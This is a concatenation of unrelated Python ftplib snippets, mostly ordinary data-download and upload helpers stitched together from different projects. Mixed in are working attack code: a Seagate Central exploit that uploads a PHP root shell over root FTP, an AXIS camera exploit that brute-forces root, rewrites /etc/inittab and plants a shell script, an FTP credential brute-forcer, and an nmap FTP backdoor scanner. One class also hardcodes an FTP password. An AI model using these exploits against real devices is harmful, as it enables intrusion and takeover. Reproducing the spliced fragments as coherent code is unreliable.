class FTPConnect(object): def __init__(self, host="localhost", port="21", username="******", password=None): self._host = host self._port = port self._username = username self._password = password self._ftp = FTP() self._ftp.connect(self._host, self._port) if self._username == "anonymous": self._ftp.login() else: self._ftp.login(self._username, self._password) def download(self, filename, outfile): self._ftp.retrbinary("RETR " + filename, outfile.write) def upload(self, filename, infile): g = open(filename, "rb") self._ftp.storbinary("STOR " + filename, g) g.close def change_directory(self, directory): self._ftp.cwd(directory) def close_connection(self): self._ftp.close()
def get_from_ftp(year, month, day, h, v): """Given a year, month, day and horizontal and vertical co-ordinate in the MODIS grid reference system, download the MOD09GA product from the FTP site. This checks to see if the destination local file exists, and if so uses it rather than downloading again. """ ftp = FTP("e4ftl01.cr.usgs.gov") ftp.login() files = ftp.nlst("MOLT/MOD09GA.005/%02d.%02d.%02d/" % (year, month, day)) for f in files: if re.search("h%02dv%02d.+\.hdf$" % (h, v), f): print f filename = f folder = dirname(filename) file = basename(filename) if os.path.exists(file): return file print "Downloading from FTP" ftp.cwd(folder) ftp.retrbinary('RETR %s' % file, open('%s' % file, 'wb').write) print "Downloaded file %s" % file ftp.close() return file
def remove(self): ftp = FTP() ftp.connect(self._host, self._port) if self._user or self._password: ftp.login(self._user, self._password) ftp.delete(self._partial) ftp.close()
def download( self, fn, target ): ftp = FTP( self.host ) ftp.login() try: ftp.retrbinary( 'RETR {0}/{1}'.format( self.path, fn ), target.write ) finally: ftp.close()
def ftpDownload(self,information): # making connection with FTP ftp = FTP(information['ftpServer']) # providing login credentials to validate ftp.login(information['ftpUsername'],information['ftpUserPassword']) # getting list of all files and directory allFilesList = ftp.nlst() flag = 0 #traversing all files to see check whether the file which we want to download exists or not for files in allFilesList: if (files == information['filename']+".zip"): print "file download started" flag=1 break if(flag==0): loggerFile.write("Module ftpDownload:File not found") loggerFile.write("\n") print "File not found" return flag # getting filehandle and opening file into which we will write locally.. this is temperary file. fileFtpDownloaded = open(information['filename']+".zip","wb") # writing mode is binary... Here we are writing into file.. ftp.retrbinary("RETR " + information['filename']+".zip",fileFtpDownloaded.write) # closing file handle fileFtpDownloaded.close() #closing ftp connection ftp.close() return flag
def main(): if(len(sys.argv) < 2): print("Usage: %s <host>" % sys.argv[0]) return host = sys.argv[1] try: with open(php_shell_filename, 'w') as file: file.write(php_shell) except Exception as error: print("Error: %s" % error); return try: ftp = FTP(host) ftp.login("root") ftp.storbinary("STOR " + seagate_central_webroot + php_shell_filename, open(php_shell_filename, 'rb')) ftp.close() except Exception as error: print("Error: %s" % error); return print("Now surf on over to http://%s%s%s for the php root shell" % (host, seagate_central_webroot, php_shell_filename)) return
class ftpThread(threading.Thread): def __init__(self, files, config): threading.Thread.__init__(self) self.files = files self.config = config def ftpGoToDir(self, dir): dirList = dir.split("/") if dirList[0] == " ": self.ftp.cwd("/") self.ftpGoToDir("/".join(dirList[1:])) elif len(dirList): filelist = [] self.ftp.retrlines('LIST', filelist.append) if dirList[0] in [ fl.split(" ")[-1] for fl in filelist ]: self.ftp.cwd(dirList[0]) else: self.ftp.mkd(dirList[0]) self.ftp.cwd(dirList[0]) if len(dirList) > 1: self.ftpGoToDir("/".join(dirList[1:])) def run(self): self.ftp = FTP(self.config["deploy"]["host"], self.config["deploy"]["username"], self.config["deploy"]["password"]) for f in self.files: self.ftpGoToDir(os.path.dirname(" %s%s" % (self.config["deploy"]["path"], f["addDir"]))) fl = open(f["src"], "rb") self.ftp.storbinary("STOR %s%s" % (self.config["deploy"]["path"], f["addDir"]), fl) fl.close() sublime.status_message("Deployed to %s%s" % (self.config["deploy"]["path"], f["addDir"])) self.ftp.close()
def ls( self ): ftp = FTP( self.host ) ftp.login() try: return map( utils.basename, ftp.nlst( self.path ) ) finally: ftp.close()
def axis_exploit(self, target): if self.verify_axis_cam(target)==True: for passwd in self.dicc: try: inittab_dest="/tmp/inittab" inittab_orig="/etc/inittab" injector_orig="/usr/html/local/injector.sh" ftp=FTP(target) ftp.login("root", "%s" % passwd) ftp.retrbinary("RETR %s" % inittab_orig, open(inittab_dest, "wb").write) self.add_inittab() ftp.storbinary("STOR %s" % inittab_orig, open(inittab_dest, "rb")) ftp.storbinary("STOR %s" % injector_orig, open(self.config.getApachePath()+"/Injector/injector.sh", "rb")) ftp.sendcmd("SITE CHMOD 755 %s" % injector_orig) ftp.sendcmd("site reboot") ftp.quit() ftp.close() print "[*] Explotado correctamente, espere unos segundos a que el dispositivo reinicie para obtener la shell" break except: ftp.quit() ftp.close() else: print "[*]%s : No se ha podido verificar que se trate de una camara AXIS" % target
def __do_upload(build_home, distribution, opts): target_prefix = distribution["packname"] + \ '-' + distribution["version"] + \ '-' + Glo.CPU + \ '-' + Glo.SYSTEM + \ '-' + opts.cmode[:2] + 'bit' os.chdir(build_home + '/distributions') print('Cd ' + 'distributions') ftp = FTP() if opts.port != None: ftp.connect(host = opts.host, port = opts.port) else: ftp.connect(host = opts.host) if opts.user != None: ftp.login(user = opts.user, passwd = opts.passwd) else: ftp.login() if opts.dir == None: print "Error: no remote dir is given!" sys.exit(Errors.args_invalid) ftp.cwd(opts.dir) f = file(target_prefix + '.tar.gz', 'r') ftp.storbinary("STOR " + target_prefix + '.tar.gz', f) f.close() ftp.quit() ftp.close() os.chdir(build_home) print 'Upload [' + target_prefix + '.tar.gz] OK!'
def multiprocessing_download(filepath, local_filename): print "multiprocessing_download ", filepath, filename try: ftp_site = "ftp.nccs.nasa.gov" ftp = FTP(ftp_site) ftp.login('gmao_ops','') ftp.cwd(filepath) f = os.path.basename(local_filename) if not os.path.exists(local_filename): print "Trying to Download...", f file = open(local_filename, 'wb') try: ftp.retrbinary("RETR " + f, file.write) file.close() except Exception as e: print "GEOS5 FTP Error", filepath, filename, sys.exc_info()[0], e os.remove(local_filename) ftp.close(); sys.exit(-2) else: print "file exists", local_filename except Exception as e: print "multiprocessing exception:", sys.exc_info()[0], e
def upload_files(file_list, cfg, logger): """ Upload list of files to pre-configurated server @param file_list: upload file list with full paths @param cfg: ParseConfig object """ start_time = datetime.now() root = cfg.get('ftp', 'root') uploads = dict(zip(file_list, map(lambda x: os.path.join(root, os.path.basename(x)), file_list))) logger.info('Uploading files: %s' ' '.join(uploads.values())) total_size = 0 # Checking files and counting for f in uploads: if not os.path.isfile(f): logger.critical('Unable to find file %s, unable to complete backup' % f) raise errors.BackupException('File not found: %s' % f) total_size += os.path.getsize(f) logger.info('Total size: %s' % format_size(total_size)) try: logger.info('Connecting to %s' % cfg.get('ftp', 'host')) ftp = FTP(cfg.get('ftp', 'host'), cfg.get('ftp', 'user'), cfg.get('ftp', 'password')) logger.info('Connected, starting upload') map(lambda filename: ftp.storbinary('STOR %s' % uploads[filename], open(filename)), uploads.keys()) elapsed_seconds = (datetime.now() - start_time).seconds if elapsed_seconds != 0: logger.info('Uploaded by %s seconds, speed: %s/s' % (elapsed_seconds, format_size(total_size/elapsed_seconds))) else: logger.info('Uploaded by zero seconds') ftp.close() except ftp_all_errors as e: logger.critical('Unable to complete ftp upload: %s' % e) raise errors.BackupException('Critical FTP error: %s' % e)
def multiprocessing_download(filepath, local_filename): ftp = FTP(ftp_site) ftp.login(user, password) # user anonymous, passwd anonymous@ ftp.cwd(filepath) f = os.path.basename(local_filename) err = 0 if not os.path.exists(local_filename): logger.info("Trying to Download...%s", f) file = open(local_filename, 'wb') try: ftp.retrbinary("RETR " + f, file.write) file.close() # Make .tfw file rather than downloading it via ftp.... grrrr tfw_filename = local_filename.replace(".tif", ".tfw") tfwfile = open(tfw_filename, 'w') tfw_str = " 0.1000000\n" tfw_str += " 0.0000000\n" tfw_str += " 0.0000000\n" tfw_str += " -0.1000000\n" tfw_str += " -179.9499969\n" tfw_str += " 89.9499969\n" tfwfile.write(tfw_str) tfwfile.close() except Exception as e: print "GPM IMERG FTP Error", sys.exc_info()[0], e os.remove(local_filename) err = 1 ftp.close() return err
def main(): if len(sys.argv) == 2: tzdata = sys.argv[1] else: from ftplib import FTP print("Connecting to %s..." % SERVER) ftp = FTP(SERVER) print("Logging in...") ftp.login() print("Changing to %s..." % DIR) ftp.cwd(DIR) print("Listing files...") for name in ftp.nlst(): if NAME.match(name): break else: sys.exit("error: file matching %s not found" % NAME.pattern) if os.path.isfile(name): print("Found local %s..." % name) else: print("Retrieving %s..." % name) file = open(name, "w") ftp.retrbinary("RETR "+name, file.write) file.close() ftp.close() tzdata = name if not tzdata or not NAME.match(tzdata): sys.exit("Usage: updatezinfo.py tzdataXXXXX.tar.gz") print("Updating timezone information...") rebuild(tzdata, NAME.match(tzdata).group(1)) print("Done.")
def put(): server = config['ftp']['server'] user = config['ftp']['user'] password = config['ftp']['password'] current_dir = config['working']['ftp_put'] next_dir = config['archive']['outputs'] remote_directory = config['ftp']['remote_report_directory'] logging.info("Connecting to ftp server " + server) ftp = FTP(server) logging.info("Logging in to " + server) ftp.login(user, password) logging.info("Changing to directory " + remote_directory) ftp.cwd(remote_directory) for zip_file in glob.glob(os.path.join(current_dir, '*.zip')): path, file_name = os.path.split(zip_file) logging.info("Pushing file " + zip_file + " to " + remote_directory + "\\" + file_name) log_to_db(10, 0, 0, zip_file) fh = open(zip_file, 'rb') ftp_binary_put(ftp, file_name + ".tmp", fh) ftp.rename(file_name + ".tmp", file_name) fh.close() move_directory(zip_file, next_dir + file_name) ftp.close() return 1
def readfile(mainframe, filename, siteno, user=None, password=None): if siteno >= len(mainframe.pref.ftp_sites): common.showerror(mainframe, tr("Can't find the FTP site.")) return site = mainframe.pref.sites_info[mainframe.pref.ftp_sites[siteno]] if not user: user = site['user'] if not password: password = site['password'] flag, user, password = getuserpassword(mainframe, siteno) if not flag: common.setmessage(mainframe, tr('Connection canceled')) return ftp = FTP() try: ftp.connect(site['ip'], site['port']) ftp.login(user, password) ftp.set_pasv(site['pasv']) data = [] def getdata(d, data=data): data.append(d) ftp.retrbinary("RETR %s" % common.decode_string(filename), getdata) ftp.quit() ftp.close() text = ''.join(data) return text except Exception, msg: error.traceback() common.showerror(mainframe, msg)
def update_stations(ftp_host, db_host, db_name): """ Downloads the stations definition file from ftp_host and updates the definitions in db_name on db_host. parameters: ftp_host - FTP server to fetch the information from (ftp.ncdc.noaa.gov) db_host - Host of a mongodb database. db_name - Name of database used to store values, should have geospatial indexing enabled. """ conn = FTP(ftp_host) conn.login() conn.cwd("pub/data/gsod/") filename = "" if "ish-history.csv" in conn.nlst(): tmp = tempfile.NamedTemporaryFile(delete=False) filename = tmp.name print tmp.name print "Downloading ish-history" ret = conn.retrbinary("RETR ish-history.csv", tmp.file.write) tmp.file.close() if ret != "226 Transfer complete": print "Unable to fetch ish-history.csv" else: print "Running parse stations for %s" % filename parse_stations(filename, db_host, db_name, update=True) print "Cleanup %s" % filename print "Fin" else: print "ish-history.csv not found" conn.close() return False
def pull(): server = config['ftp']['server'] user = config['ftp']['user'] password = config['ftp']['password'] remote_directory = config['ftp']['remote_store_directory'] local_directory = config['ftp']['local_store_directory'] logging.info("Connecting to ftp server " + server) ftp = FTP(server) logging.info("Logging in to " + server) ftp.login(user, password) logging.info("Changing to directory " + remote_directory) ftp.cwd(remote_directory) files = ftp.nlst("*.zip") for f in files: logging.info("Fetching file " + f + " to " + local_directory + f) fh = open(local_directory + f, 'wb') ftp_binary_pull(ftp, f, fh) fh.close() log_to_db(1, 0, 0, f) src = local_directory + f dest = config['working']['unzip_dir'] + f shutil.copyfile(src, dest) ftp.close() return 1
def getDB(dbname, url, localpath, debug=False): globals()['flag_debug'] = debug (protocol, host, path) = parseUrl(url) getfiles = [] printMsg('Establishing connection to ftp server') ftp = FTP(host) printMsg('Logging into ftp server') ftp.login() printMsg('Changing cwd to ' + path) ftp.cwd(path) printMsg('Print file list for ' + path) printMsg(ftp.retrlines('LIST')) files = ftp.nlst() printMsg('Files selected for download:') for file in files: if re.search('^' + dbname, file): getfiles.append(file) size = ftp.size(file) / (1024*1024) printMsg(" + " + file + " (" + str(size) + " MB)") printMsg('Closing connection to ftp server') ftp.close() for file in getfiles: url = protocol + '://' + host + path + file # getWget(url, file, localpath, debug) getCurl(url, file, localpath, debug)
def cleanftpbkfile(server,port,name,password,ftppath,savedays=5): now=datetime.datetime.now() yetsavedays=(now-datetime.timedelta(savedays)).strftime('%Y%m%d') dellist=[] ftph=FTP() try: ftph.connect(server,port,10) ftph.login(name,password) except: ftph.close() dellist.append('ftp can not connect') return dellist try: ftph.cwd(ftppath) except: ftph.close() dellist.append('ftp backupdir is not find') filelist=ftph.nlst() #print yetsavedays #print filelist for i in filelist: if yetsavedays in i: try: ftph.delete(i) dellist.append(ftppath+'\\'+i+' deleted') except: dellist.append(ftppath+'\\'+i+' delete failed') return dellist
def update_gnome(modules, root): ftp = FTP("ftp.gnome.org") ftp.login() try: for module in modules: basepath = os.path.join(module["repo"][21:], module["path"]) data = [] path = os.path.join(basepath, "cache.json") ftp.retrbinary("RETR " + path, data.append) content = json.loads("".join(data)) latest_version = content[2].values()[0][-1] files = content[1].values()[0][latest_version] data = [] path = os.path.join(basepath, files["sha256sum"]) ftp.retrbinary("RETR " + path, data.append) sha256, filename = "".join([x for x in "".join(data[0]).split("\n") if ".tar.xz" in x]).split() node = root.findall("autotools[@id='%s']/branch" % module["name"])[0] node.set("module", os.path.join(module["path"], files["tar.xz"])) node.set("hash", "sha256:" + sha256) node.set("version", latest_version) finally: ftp.close()
def download_shapefiles_from_census(type, outprefix, outdir='shapefiles'): if not isdir(outdir): mkdir(outdir) census = FTP('ftp2.census.gov') print "Acquiring connection to census.gov" census.login() print "Connected!" filenames = census.nlst('geo/tiger/TIGER2013/%s' % type) for ftp_filename in filenames: zip_filename = re.match('.*/(.*\.zip)', ftp_filename).group(1) zip_filepath = '%s/%s%s' % (outdir, outprefix, zip_filename) if not isfile(zip_filepath): print 'Downloading %s' % zip_filename req = Request('ftp://ftp2.census.gov/%s' % ftp_filename) res = urlopen(req) with open(zip_filepath, 'a') as out: out.write(res.read()) else: print '%s already exists. Skipping download' % zip_filepath census.close() return outdir
def get_latest_ncep_file(): print("Checking ftp://"+ ftp_site + " for latest file...") ftp = FTP(ftp_site) try: ftp.login() # user anonymous, passwd anonymous@ print("cwd to "+ path) ftp.cwd( path ) filenames = [] def getsfluxgrbf(name): #print name if name.find("sfluxgrbf") > 0 and name.find("idx") < 0: filenames.append(name) ftp.retrlines('NLST', getsfluxgrbf ) downwload = filenames[len(filenames)-1] print "latest is: ", downwload local_filename = os.path.join(config.data_dir, "gdas", gdasdir+"."+downwload) if os.path.exists(local_filename): return local_filename else: print "Downloading ", local_filename file = open(local_filename, 'wb') ftp.retrbinary("RETR " + downwload, file.write) ftp.close() return local_filename except: print "FTP Error",sys.exc_info()[0] ftp.close() sys.exit(1)
def pag_from_ftp(local_dir,server_dir = ftp_dir): #登录 ftp = FTP(ftp_host) ftp.set_debuglevel(2)#打开调试级别日志 ftp.login(ftp_user,ftp_passwd) #切换到工作目录下 print '>>>> get files from dir: %s' % server_dir ftp.cwd(server_dir) #下载该目录下的文件 f_list = ftp.nlst() if len(f_list) > 0: os.chdir(local_dir) print 'change to local store dir %s' % local_dir for f in f_list: print 'down file %s from ftp server' % f #fpath = '%s%s' % (server_dir,f) f_local = open(os.path.basename(f),'wb') ftp.retrbinary('RETR %s' % f,f_local.write)#获得一个文件操作句柄,当作第二个参数 f_local.close() #最后不要忘了关闭已经打开的链接 ftp.close()
def update_status_file(): data = {} to_transfer = [] if os.path.exists('.picappasync'): with open('.picappasync') as in_file: data = json.load(in_file) else: data['mediastore_designator'] = os.getcwd() + "@" + getfqdn() data['transferred_media'] = {} for subdir, dir, files in os.walk(os.getcwd()): for file in files: if file[0] in ['.', '~']: continue filepath = os.path.join(subdir, file) hashcd = hashlib.md5(open(filepath, 'rb').read()).hexdigest() media_deets = data['transferred_media'].get(hashcd) if not media_deets: media_deets = {'filepath': filepath, 'filesize': os.stat(filepath).st_size, 'hash_cd': hashcd} data['transferred_media'][hashcd] = media_deets to_transfer.append(media_deets) ftp = FTP() ftp.connect(host='localhost', port=2121) ftp.login() for t in to_transfer: print('transferring file: ' + t['filepath']) f = open(t['filepath'], 'rb') ftp.storbinary('STOR ' + os.path.basename(t['filepath']), f) f.close() ftp.close() with open('.picappasync', 'w') as outfile: json.dump(data, outfile)
def writefile(mainframe, filename, siteno, text, user=None, password=None): if siteno >= len(mainframe.pref.ftp_sites): common.showerror(mainframe, tr("Can't find the FTP site.")) return site = mainframe.pref.sites_info[mainframe.pref.ftp_sites[siteno]] if not user: user = site['user'] if not password: password = site['password'] flag, user, password = getuserpassword(mainframe, siteno) if not flag: common.setmessage(mainframe, tr('Connection canceled')) return ftp = FTP() #connect try: ftp.connect(site['ip'], site['port']) ftp.login(user, password) ftp.set_pasv(site['pasv']) import StringIO f = StringIO.StringIO(text) ftp.storbinary("STOR %s" % common.decode_string(filename), f) ftp.quit() ftp.close() return True except Exception, msg: error.traceback() common.showerror(mainframe, msg)
def get_file_list(): ftp = FTP(FTP_SERVER) ftp.login() genome_li = [x for x in ftp.nlst('goldenPath/currentGenomes') if not x.endswith('.')] fli = [] for genome in genome_li: for f in ['database/refFlat.txt.gz']: file_path = os.path.join(genome, f) fli.append(file_path) # now add refFlat.txt.gz for hg38 file_path = 'goldenPath/hg38/database/refFlat.txt.gz' fli.append(file_path) # now add refFlat.txt.gz for mm9 file_path = 'goldenPath/mm9/database/refFlat.txt.gz' fli.append(file_path) fli = [(file_path, get_ftpfile_lastmodified(ftp, file_path)) for file_path in fli] fli = [x for x in fli if x[1]] # remove item if lastmodified is None ftp.close() if fli: global latest_lastmodified latest_lastmodified = sorted([x[1] for x in fli])[-1] return fli
def main(): print "Connecting to server. Please wait..." con=FTP(ftp_host,ftp_username,ftp_passwd) try: con.cwd("public_html") except: print "No public_html folder found, using root folder." flist=con.nlst() if 'sync' not in flist: con.mkd('sync') stype=raw_input("Upload to server/Download [U/D]: ") stype=stype.lower().strip() if(stype=="u"): upload(con) elif(stype=="d"): download(con) else: print "Invalid Option" con.close() print "\n Done!" raw_input("Press enter to exist..")
class ServerOpenDialog(QtGui.QDialog): def __init__(self, parent=None): super(QtGui.QDialog, self).__init__(parent) self.Combo = QtGui.QComboBox() buttonBox = QtGui.QDialogButtonBox(QtGui.QDialogButtonBox.Ok | QtGui.QDialogButtonBox.Cancel) buttonBox.accepted.connect(self.accept) buttonBox.rejected.connect(self.reject) self.ftp = FTP("ftp.chronometry.ca", "*****@*****.**", "DbWp5RWRd3uC") self.ftp.cwd('/') self.ftp.cwd('/Item') comboList = self.ftp.nlst() self.ftp.close() comboList.pop(0) comboList.pop(0) for item in comboList: self.Combo.addItem(item) mainLayout = QtGui.QVBoxLayout() mainLayout.addWidget(self.Combo) mainLayout.addWidget(buttonBox) self.setLayout(mainLayout) self.setWindowTitle("Open Item Data from Server")
def get_files(year, mydir, files): # ftp://ftp.nccs.nasa.gov/fp/forecast/Y2015/M08/D10/H00/ mstr = "%02d" % month dstr = "%02d" % day ftp_site = "ftp.nccs.nasa.gov" path = "fp/forecast/Y%s/M%s/D%s/H00" % (year, mstr, dstr) if verbose: print "get_files", ftp_site, path ftp = FTP(ftp_site) ftp.login('gmao_ops','') ftp.cwd(path) for f in files: filename = f if verbose: print "Trying to download", filename local_filename = os.path.join(mydir, filename) if not os.path.exists(local_filename): if verbose: print "Downloading it...", local_filename file = open(local_filename, 'wb') try: ftp.retrbinary("RETR " + filename, file.write) file.close() except Exception as e: print "TRMM FTP Error", sys.exc_info()[0], e os.remove(local_filename) ftp.close(); sys.exit(-2) ftp.close()
class FTPClt: def __init__(self, host, user, pwd, remotedir, port=21): self.host = host self.port = int(port) self.user = user self.pwd = pwd if os.path.isdir(remotedir): self.remote_dir = os.path.abspath(remotedir) else: self.remote_dir = os.path.abspath(os.path.dirname(remotedir)) self.ftp = FTP() self.file_list = [] def __del__(self): self.ftp.close() def login(self): ftp = self.ftp try: timeout = 300 socket.setdefaulttimeout(timeout) #设置passive模式... ftp.set_pasv(True) print u'starting to connect to FTP Server [%s:%d]' % (self.host, self.port) ftp.connect(self.host, self.port) print u'succeed to connect to %s' % (self.host) print u'start to login FTP Server %s' % (self.host) ftp.login(self.user, self.pwd) print u'succeed to login %s' % (self.host) debug_print(ftp.getwelcome()) except Exception, e: print u'connect or login failed' print e return try: print '[remote dir]:%s' % self.remote_dir ftp.cwd(self.remote_dir) except Exception: print u'change dir failed'
def ftpEnum(ip_address, port): print(bcolors.HEADER + "INFO: Detected ftp on " + ip_address + ":" + port + bcolors.ENDC) connect_to_port(ip_address, port, "ftp") FTPSCAN = "nmap -sV -Pn -p %s --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 -oN '../reports/%s/ftp_%s.nmap' %s" % ( port, ip_address, ip_address, ip_address) print(bcolors.HEADER + FTPSCAN + bcolors.ENDC) results_ftp = subprocess.check_output(FTPSCAN, shell=True) print(bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with FTP-Nmap-scan for " + ip_address + bcolors.ENDC) # print results_ftp write_to_file(ip_address, "ftp-scan", results_ftp) # see if we can download them with default creds ftp = FTP(ip_address) ftp.login() ftp_files = ftp.nlst() if len(ftp_files) > 1: try: subprocess.check_output("mkdir ../reports/" + ip_address + "/ftp_files", shell=True) except: pass for files in ftp_files: print("Downloading..." + files) try: ftp.retrbinary( "RETR " + files, open("../reports/" + ip_address + "/ftp_files/" + files, 'wb').write) except: pass ftp.close() #FTPGET = "wget ftp://%s:21/ -o '../reports/%s/ftp_%s.html'" % (ip_address, port, ip_address, ip_address) #print(bcolors.HEADER + FTPGET + bcolors.ENDC) #results_ftp = subprocess.check_output(FTPGET, shell=True) #print(bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with FTP-wget for " + ip_address + bcolors.ENDC) return
class MYFTP: def __init__(self, rootdir_local, rootdir_local_o, hostaddr, username, password, remotedir, dirs_downloads, port=21, maxfiles=20): self.hostaddr = hostaddr self.username = username self.password = password self.remotedir = remotedir self.port = port self.ftp = FTP() self.rootdir_local = rootdir_local self.rootdir_local_o = rootdir_local_o self.dirs_downloads = dirs_downloads self.downloadlist = [] self.maxf = maxfiles def login(self): try: # self.ftp.set_debuglevel(2) self.ftp.set_pasv(True) self.ftp.connect(self.hostaddr) logger.info("成功连接到 %s", self.hostaddr) self.ftp.login(self.username, self.password) logger.info("成功登录到 %s", self.hostaddr) except Exception, e: logger.info("登录失败") logger.info(e) self.ftp.close() try: self.ftp.cwd(self.remotedir) except Exception: logger.info("切换目录失败") self.ftp.close()
def __ftp(self, host): for user in self.user_list: for pwd in self.pwd_list: try: ftp = FTP(host, timeout=2) if ftp.login(): lock.acquire() # print ('ftp:\n host: %-15s 可以匿名登陆!' % host) que_result.put(('ftp', host, '21', '', '')) ftp.close() lock.release() return elif ftp.login(user, pwd): lock.acquire() # print ('ftp:\n host: %-15suser: %-10spwd: %-20s' % (host, user, pwd)) que_result.put(('ftp', host, '21', user, pwd)) ftp.close() lock.release() return except Exception as e: # print('ftp:',e) pass
def upload_photo(plone_key, filepath, filename, company_path, mailer, sender): logger = upload_photo.get_logger() user, password = plone_key.split(':') photo = open(filepath, "rb") path = '%s/foto' % company_path path = path.encode('utf8', 'ignore') if not path.startswith('/restarter'): return 'WRONG PATH %s' % path #upload using ftp try: ftp = FTP() ftp.connect('localhost', 8021, TIMEOUT) ftp.login(user, password) ftp.cwd(path) logger.info('Uploading %s to %s' % (filename, path)) ftp.storbinary("STOR %s" % filename, photo, 1024) logger.info('Finished uploading %s' % filename) ftp.close() except socket.timeout, exc: photo.close() upload_photo.retry(exc=exc)
def _download_nasdaq_symbols(timeout): """ @param timeout: the time to wait for the FTP connection """ try: ftp_session = FTP(_NASDAQ_FTP_SERVER, timeout=timeout) ftp_session.login() except all_errors as err: raise RemoteDataError('Error connecting to %r: $s' % (_NASDAQ_FTP_SERVER, err)) lines = [] try: ftp_session.retrlines('RETR ' + _NASDAQ_TICKER_LOC, lines.append) except all_errors as err: raise RemoteDataError('Error downloading from %r: $s' % (_NASDAQ_FTP_SERVER, err)) finally: ftp_session.close() # Sanity Checking if not lines[-1].startswith('File Creation Time:'): raise RemoteDataError('Missing expected footer. Found %r' % lines[-1]) # Convert Y/N to True/False. converter_map = dict( (col, _bool_converter) for col, t in _TICKER_DTYPE if t is bool) data = read_csv(StringIO('\n'.join(lines[:-1])), '|', dtype=_TICKER_DTYPE, converters=converter_map, index_col=1) # Properly cast enumerations for cat in _CATEGORICAL: data[cat] = data[cat].astype('category') return data
def ftpDownloaderData(stationId, startYear, endYear, host="ftp.pyclass.com", user="******", passwd="student123"): ftp = FTP(host) ftp.login(user, passwd) if not os.path.exists('/home/oleh/PYDATA'): os.makedirs('/home/oleh/PYDATA') os.chdir('/home/oleh/PYDATA') for year in range(startYear, endYear + 1): fullpath = "/Data/{}/{}-{}.gz".format(year, stationId, year) filename = os.path.basename(fullpath) try: with open(filename, 'wb') as file: ftp.retrbinary("RETR {}".format(fullpath), file.write) print("{} successfully downloaded".format(filename)) except error_perm: print("{} is not available".format(filename)) os.remove(filename) ftp.close()
def download_zip_ftp(self, forced): "Download the zip file from revista eletronica's FTP" fileName = 'xmltv.zip' self.stdout.write('Connecting to FTP server...\n') ftp = FTP(settings.EPG_IMPORT_CREDENTIALS['site']) self.stdout.write('Authenticating...\n') ftp.login(settings.EPG_IMPORT_CREDENTIALS['username'], settings.EPG_IMPORT_CREDENTIALS['password']) f = [] ftp.retrlines('LIST %s' % fileName, callback=f.append) s = f[0].split() # I know this modification time is from Sao Paulo date = parse('%s %s %s' % (s[5], s[6], s[7])).replace( tzinfo=timezone('America/Sao_Paulo')) size = int(s[4]) self.stdout.write('Last date of modification was %s\n' % date) try: source = XMLTV_Source.objects.get( lastModification=date.replace(tzinfo=timezone('UTC'))) # we already have that object if forced is False: raise CommandError(('File already imported! ' 'Re-run with --force to import anyway.\n')) except XMLTV_Source.DoesNotExist: pass path = os.path.join(settings.MEDIA_ROOT, 'epg') localFile = tempfile.NamedTemporaryFile(prefix='', suffix='.zip', dir=path, delete=False) self.stdout.write('Downloading %s (%d bytes) to %s ...\n' % ( fileName, size, localFile.name)) ftp.retrbinary('RETR %s' % fileName, localFile.write) self.stdout.write('Download complete!\n') localFile.close() ftp.close() return localFile.name, date
class FileTransfer(): # TODO Exceptions def __init__(self, pip): self.ftp = FTP(pip) def login(self, user, pwrd): self.ftp.login(user, pwrd) def getPath(self): return self.ftp.pwd() def setPath(self, path): self.ftp.cwd(path) def getListFiles(self, path=''): return self.ftp.nlst(path) def uploadFile(self, filename): f = open(filename, 'rb') self.ftp.storbinary('STOR %s' % filename, f) f.close() def downloadFile(self, filename): f = open(filename, 'wb') self.ftp.retrbinary('RETR %s' % filename, f.write) f.close() def createDirectory(self, dname): self.ftp.mkd(dname) def renameFile(oldname, newname): self.ftp.rename(oldname, newname) def deleteFile(self, filename): self.ftp.delete(filename) def close(self): self.ftp.close()
def get_daily_trmm_files(self): #filepath = path+str(self.year) #filepath = gis_path+ "%d%02d" % (self.year,self.month) filepath = gis_path if verbose: print("Checking "+ftp_site+"/" + filepath + " for latest file...") try: ftp = FTP(ftp_site) ftp.login() # user anonymous, passwd anonymous@ ftp.cwd(filepath) except Exception as e: print "FTP login Error", sys.exc_info()[0], e print "Exception", e sys.exit(-1) #print self.trmm_gis_files for f in self.trmm_gis_files: if verbose: print "Trying to download", f local_filename = os.path.join(self.trmm_3B42RT_dir, f) if not os.path.exists(local_filename): if verbose: print "Downloading it...", f file = open(local_filename, 'wb') try: ftp.retrbinary("RETR " + f, file.write) file.close() except Exception as e: print "TRMM FTP Error", sys.exc_info()[0], e os.remove(local_filename) ftp.close(); sys.exit(-2) ftp.close()
def ftp_dl(x): # raw_path = path ftp_path = "ftp.ncbi.nlm.nih.gov" connection = FTP(ftp_path, timeout=10000) connection.login() while x: fp_path = x.pop() raw_path = fp_path[0] fp_path = fp_path[1] try: outpath = os.path.join(raw_path, os.path.basename(fp_path)) # try: file_size = connection.size(fp_path) if not os.path.isfile( outpath) or file_size != os.path.getsize(outpath): with open(outpath, "wb") as out_file: connection.retrbinary("RETR {0}".format(fp_path), out_file.write) else: connection.sendcmd('NOOP') except all_errors as e: connection.close() # print(e) connection = FTP(ftp_path, timeout=10000) connection.login() except: with lock: with open( os.path.join(os.path.dirname(os.path.dirname(fp_path)), "/artifacts/ftp_dl.log"), "a") as out: out.write("{0}\n".format(fp_path)) try: connection.quit() except: pass
def dowload_file_via_ftp_with(stationId, startYear, endYear, url = "ftp.pyclass.com", username = "******", password = "******"): ftp = FTP(url) ftp.login(username, password) if not os.path.exists("C:\\Users\\Vivek\\in"): os.makedirs("C:\\Users\\Vivek\\in") os.chdir("C:\\Users\\Vivek\\in") for year in range(startYear, endYear + 1): fullPath = "/Data/%s/%s-%s.gz" % (year, stationId, year) filename = os.path.basename(fullPath) try: with open(filename, "wb") as file: ftp.retrbinary("RETR %s" % fullPath, file.write) print("%s successfully downloaded" % filename) except error_perm: print("%s is not available" % filename) os.remove(filename) ftp.close()
def test_user_change_password(): """ User logs in, and attemps to change their own password. @requires: admin change password to work. User logs out and then attemps to log in with new password. Checks for responce code: 200 """ expected = '200' f = FTP() f.connect(ip) f.login(usr, new_pw) pw_three = 'hij' f.sendcmd('site setpw %s %s' % (new_pw, pw_three)) actual = f.lastresp f.quit() f.close() f.connect(ip) try: f.login(usr, pw_three) n_eq(expected, actual) except: n_ok(False, message='Authentication Failed')
